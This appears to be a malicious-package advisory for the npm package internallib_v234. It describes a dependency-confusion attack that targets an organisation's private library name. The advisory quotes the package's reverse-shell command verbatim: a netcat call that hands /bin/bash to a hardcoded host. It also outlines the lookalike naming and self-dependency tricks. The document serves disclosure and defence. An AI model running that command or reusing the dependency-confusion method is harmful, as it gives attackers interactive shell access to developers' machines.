MAL-2026-6796
Dashboard / Malicious Package / MAL-2026-6796
MAL-2026-6796
Summary: Malicious code in internallib_v234 (npm)
Details: Source: amazon-inspector (8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087) [email protected] exports a `command()` function whose body unconditionally invokes `/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"`, opening an interactive reverse shell from the installer to a hardcoded RFC1918 endpoint (10.0.74.133:13337). Prior to launching the shell, index.js runs `whereis nc` to confirm netcat is available on the host. The package also exhibits a dependency-confusion shape: the name mimics an internal-library naming convention, it declares itself as its own dependency (`internallib_v234: ^1.0.0`), and CI configuration references a private Verdaccio registry (`npm update --registry http://0.0.0.0:4873/`). The combination indicates a targeted attack against an organization that hosts a private `internallib_v234` internally; installing/loading this public version and invoking the exported function yields interactive shell access on the installer's machine to the attacker.
References: https://www.npmjs.com/package/internallib_v234/v/1.0.3, https://www.npmjs.com/package/internallib_v234/v/1.0.5, https://www.npmjs.com/package/internallib_v234/v/1.0.6, https://www.npmjs.com/package/internallib_v234/v/1.0.7, https://www.npmjs.com/package/internallib_v234/v/1.0.4
Affected packages
Package
Name: internallib_v234
Purl: pkg:npm/internallib_v234
Affected ranges
Type: N/A
Events:
